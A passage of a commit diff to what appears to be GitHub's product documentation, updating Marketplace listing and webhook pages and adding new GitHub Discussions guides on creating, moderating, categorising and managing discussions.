buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating 